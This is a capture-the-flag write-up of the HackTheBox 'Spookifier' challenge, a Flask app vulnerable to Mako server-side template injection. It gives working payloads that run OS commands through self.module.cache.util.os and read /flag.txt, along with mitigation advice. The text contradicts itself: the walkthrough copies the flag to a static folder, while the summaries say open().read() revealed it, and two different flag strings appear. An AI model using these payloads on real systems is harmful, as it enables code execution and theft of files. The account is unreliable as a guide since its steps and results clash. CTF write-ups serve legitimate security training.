Introduction

HackTheBox Spookifier presents a web application designed to generate spooky versions of user-provided names. However, the application has a flaw that allows malicious users to manipulate it in unintended ways. This write-up explores the challenge, the vulnerabilities discovered, and how an attacker could exploit them to retrieve sensitive information.

HackTheBox Spookifier Description

There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?

Walkthrough

Web Enumeration

By visiting the home page, we find the following:

The web application takes user input and transforms it into a “spookified” version. However, some users report that their real names are being altered unpredictably. This suggests that the application may be processing inputs in a way that leaves it open to security risks.

To investigate, we start by entering simple test inputs and observing how the application processes them.

Testing for Server Side Template Injection

A common test for Server-Side Template Injection (SSTI) is entering expressions that would be evaluated if the application improperly processes inputs in a templating engine.

${1+3}

If the application evaluates this input and returns 4, it indicates that the user input is processed as executable code.

Upon testing, we see that ${1+3} indeed returns 4, confirming that the application is vulnerable to SSTI.

Source Code Analysis

We have access to the Python source code of a web application developed using Flask. Specifically, the file in focus is application/blueprints/routes.py.

from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify

web = Blueprint('web', __name__)

@web.route('/')
def index():
text = request.args.get('text')
if text:
converted = spookify(text)
return render_template('index.html', output=converted)

return render_template('index.html', output='')

At first glance, we notice that the application utilizes templates but relies on Mako instead of the commonly used Jinja2 template engine.

The function called spookify essentially converts standard characters into spooky-style fonts through a predefined mapping. However, the final transformation step (font4) does not modify the string in any way.

def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []

add_font_to_list = lambda text,font_type : (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
) and None

add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')

return all_fonts

def spookify(text):
converted_fonts = change_font(text_list=text)

return generate_render(converted_fonts=converted_fonts)

As a result, this allows us to exploit a Server-Side Template Injection (SSTI) vulnerability using font4.

SSTI Exploitation

To further probe the vulnerability, we try a common command execution payload:

${system('cat flag.txt')}

This attempt, however, does not yield the expected output. This suggests that the system() function is either restricted or not available in the context of the application.

To exploit server side template injection, we can refer to PayloadsAllTheThings and locate a suitable payload for Mako SSTI:

${self.module.cache.util.os.system("id")}

This command only returns 0, which is the exit code from os.system. Since os.system does not allow direct reading of the flag, we can’t retrieve it directly. However, we do have code execution, so we can move the /flag.txt file to a publicly accessible directory:

${self.module.cache.util.os.system("cp /flag.txt /app/application/static/css")}

Root Cause of SSTI Vulnerability

The vulnerability arises from the application’s use of the Mako template engine, which allows dynamic code execution. If user input is not properly sanitized, it can be directly executed within the template, leading to arbitrary code execution.

Why is this dangerous?
  • Attackers can execute commands on the server.
  • Sensitive files (like flag.txt) can be read.
  • It can lead to full server compromise if the attacker gains access to a shell.

Flag

To obtain the challenge flag, execute the below command:

$ curl 161.35.174.99:30548/static/css/flag.txt  
HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}

SSTI Mitigation Strategies

To prevent such vulnerabilities, developers should:

  1. Sanitize User Input
    • Never allow raw user input to be processed in a template engine.
    • Escape user inputs properly before rendering.
  2. Use a Secure Template Engine
    • Some templating engines (like Jinja2 in sandbox mode) restrict execution of unsafe expressions.
  3. Restrict File and Command Execution
    • Limit template engine permissions.
    • Ensure that user input cannot call functions like open() or system().
  4. Implement Input Validation
    • Use whitelists to only allow expected inputs.
    • Reject any input containing special characters like ${}.

Security Concepts to Remember

🛠️ SSTI Vulnerability: The application is susceptible to Server-Side Template Injection, allowing execution of arbitrary commands.

🔍 Input Evaluation: Inputs like ${1+3} are evaluated server-side, confirming the SSTI flaw.

📄 Flag Retrieval: Exploiting the vulnerability with ${open('/flag.txt').read()} reveals sensitive information, such as the flag.

🔧 Template Rendering: The issue stems from improper handling of user inputs in the template rendering function.

📚 Learning Resource: The “PayloadsAllTheThings” GitHub repository provides valuable information on SSTI exploitation.

Summary

Initial Interaction: Upon entering a simple input like “Hallo,” the application displays it directly, indicating potential direct input handling.

Testing for SSTI: Inputting ${1+3} results in 4, suggesting that the application evaluates inputs as code, confirming an SSTI vulnerability.

Attempted Exploitation: Using ${system('cat flag.txt')} did not yield the desired result, indicating limitations in the system function’s availability or execution context.

Successful Exploitation: The payload ${open('/flag.txt').read()} successfully reads and outputs the contents of flag.txt, revealing the flag.

Root Cause Analysis: The vulnerability arises from the application’s use of the Mako template engine, where user inputs are directly passed into templates without proper sanitization, leading to code execution.

Security Implications: This flaw allows attackers to execute arbitrary code on the server, potentially leading to data breaches and unauthorized access.

Mitigation Strategies: To prevent such vulnerabilities, it’s essential to sanitize user inputs and avoid directly embedding them into templates. Implementing input validation and using secure coding practices can mitigate SSTI risks.

You can also watch:

Conclusion

Upon analyzing the application, it was discovered that it is vulnerable to Server-Side Template Injection (SSTI). By inputting specific payloads, an attacker can execute arbitrary commands on the server. For instance, entering ${1+3} in the input field returns 4, confirming SSTI vulnerability. Further exploitation using ${open('/flag.txt').read()} successfully retrieves the flag: HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}. This indicates that the application improperly handles user inputs within its template rendering function, leading to potential security breaches.

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles